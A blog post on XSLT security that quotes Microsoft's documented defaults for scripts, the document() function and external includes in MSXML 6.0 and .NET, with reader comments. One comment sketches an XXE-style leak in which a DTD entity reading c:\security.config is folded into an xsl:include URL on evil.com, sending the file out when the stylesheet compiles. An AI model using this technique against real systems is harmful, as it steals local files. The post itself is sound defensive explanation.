XSLT and XSS attacks

| 3 Comments | No TrackBacks

I noticed Robert Robbins was writing about XSS attacks using XSLT:

It is possible to extend the power of XSLT using JavaScript embedded into the XSL file. Therefore any web application that allows the user to upload their own XSL file will be vulnerable to Cross Site Scripting attacks.

Well, that's not exactly true, at least on Microsoft platform.

Microsoft tackled this issue long time ago. Both MSXML 6.0 and .NET (since 2.0) don't allow script extensions and document() function in XSLT by default. One has to enable them explicitly. So the truth is s bit different: any web application that allows the user to upload their own XSL file and explicitly allows executing embedded scripts will be vulnerable to Cross Site Scripting attacks.

While we at this, here is some refresher for this important to know topic:

MSXML 6.0 XS:T Security:

Denial of Service Attacks

Untrusted style sheets are those that come from an untrustworthy domain. There is no way to eliminate denial of service (DoS) attacks when processing untrusted style sheets or untrusted documents without removing necessary functionality. If denial of service is a concern, do not accept untrusted style sheets or untrusted documents for transformation.

Cross-Site Attacks

It is not safe to compile and execute an untrusted style sheet within a trusted page (such as a page from your local hard drive). The style sheet may contain the document() function or xsl:include / xsl:import statements, which are capable of loading trusted files and sending them back to the untrusted domain.

XSLT Scripts Are Prohibited by Default

The DOM supports XSLT transformations via calls to the transformNode method and transformNodeToObject method. XSLT supports scripting inside style sheets using the <msxsl:script> element. This allows custom functions to be used in an XSLT transformation. In MSXML 6.0 this feature is disabled by default. If you require scripting in your XSLT transformations, you can enable the feature by setting the AllowXsltScript Property to true.

To allow XSLT scripting (JScript):

doc.setProperty("AllowXsltScript", true);

To disallow XSLT scripting:

doc.setProperty("AllowXsltScript", false);

Internet Explorer uses MSXML 3.0 by default, so when using the MIME viewer to transform scripts, Internet Explorer's security settings are used.

However, if you use MSXML 6.0 via script in Internet Explorer to execute transformations, when the AllowXsltScript property is set to false scripting is disabled no matter what Internet Explorer's settings are. When AllowXsltScript is set to true, Internet Explorer's security settings are used for executing.

The XSLT document Function Is Disallowed by Default

The DOM supports XSLT transformations via calls to the transformNode and transformNodeToObject methods. The XSLT document function provides a way to retrieve other XML resources from within the XSLT style sheet beyond the initial data provided by the input stream. In MSXML 6.0 this feature is disabled by default. If you must use the document function in your XSLT transformations, you can enable the feature by setting the AllowDocumentFunction property to true.

The following is the JScript code to allow the document function:

doc.setProperty("AllowDocumentFunction", true);

To disallow the document function:

doc.setProperty("AllowDocumentFunction", false);

If you enable the document function, you should be aware that the document function runs with the same security settings as the style sheet. If your style sheet is running in a trusted security context, then all files loaded using the document function will run in the same security context. For example, if scripts are allowed in the main style sheet, they will be allowed in all the included and imported files. You should not load untrusted documents via the document function.

Loading External Files Is Prohibited by Default

External files loaded via xsl:include or xsl:import are allowed and processed by default in MSXML 4.0 and 5.0 for backward compatibility. In MSXML 6.0, external files are not processed by default – they must be explicitly enabled by the developer.

If you are using MSXML 6.0 and all of your XSLT style sheets and XML documents come from a secure site, you can allow external schemas by setting the resolveExternals property to true. If you are using MSXML 4.0 or 5.0 and your XSLT style sheets and XML documents do not come from a secure site, you can operate in a safer mode by setting resolveExternals to false.

To allow external files:

doc.resolveExternals = true;

To disallow external files:

doc.resolveExternals = false;

XslCompiledTransform Security:

The XslCompiledTransform class supports the xsl:import or xsl:include elements by default. The XslCompiledTransform class disables support for the document() function by default. The XsltSettings class is used to enable the document() function.

The Load and Transform methods include overloads that take an XmlResolver object as one of its arguments. If an XmlResolver is not specified, a default XmlUrlResolver with no credentials is used.

You can control how external resources are accessed by doing one of the following:

  • Restrict the resources that the XSLT process can access by using an XmlSecureResolver object.

  • Do not allow the XSLT process open any external resources by passing in null to the XmlResolver argument.

Script Blocks

The XslCompiledTransform class does not support script blocks by default. Script blocks are enabled using the XsltSettings class. XSLT scripting should be enabled only if you require script support and you are working in a fully trusted environment.

Extension Objects

Extension objects add programming capabilities to XSLT transformations. This feature is enabled by default. If extension objects are passed to the Transform method, they are used in the XSLT transformation.

Related Blog Posts

No TrackBacks

TrackBack URL: http://www.tkachenko.com/cgi-bin/mt-tb.cgi/728

3 Comments

took me ages to work out how to set this in vb 6 code rahter than jscipt

'// Load the XSL Dom with the XSL Stylesheet
Set objXSL = New MSXML2.DOMDocument60
objXSL.resolveExternals = True
objXSL.async = False
objXSL.setProperty "AllowDocumentFunction", True
objXSL.setProperty "AllowXsltScript", True

i hopes this helpes prevent some one else sepnding as long as it took me to work it out

Interesting security hole in many-many places.
Let’s assume that you open untrusted XSLT file from the http://www.evil.com. You don’t mean to execute it. You just what to open it in your favorite XML Editor to see what these stupid hackers are doing.

This xslt as many others use DTD and your Editor allows DTD’s . Why not you just wanna open it on a sec?
XML Editor knows about XSLT and to report you syntax error’s compiles it with your favorite XSLT Processor.

It happens that this DTD refer external entity c:\security.config as ‘foo’. No harm so far, you would not execute the stylesheet.
It also contains the instruction:
<xsl:include href="http://www.evil.com?&foo;" />

You don’t need to execute this stylesheet. Content of your local file was already posted to evil.com site.

The same true with loading XSD and any other format that has includes.
That’s why we are not in a hurry adding xInclude to the .NET Freamework.

Олег, MvpXslTransform после вызова метода Load лочит файл на диске. Помогает только рестарт IIS. :(

Leave a comment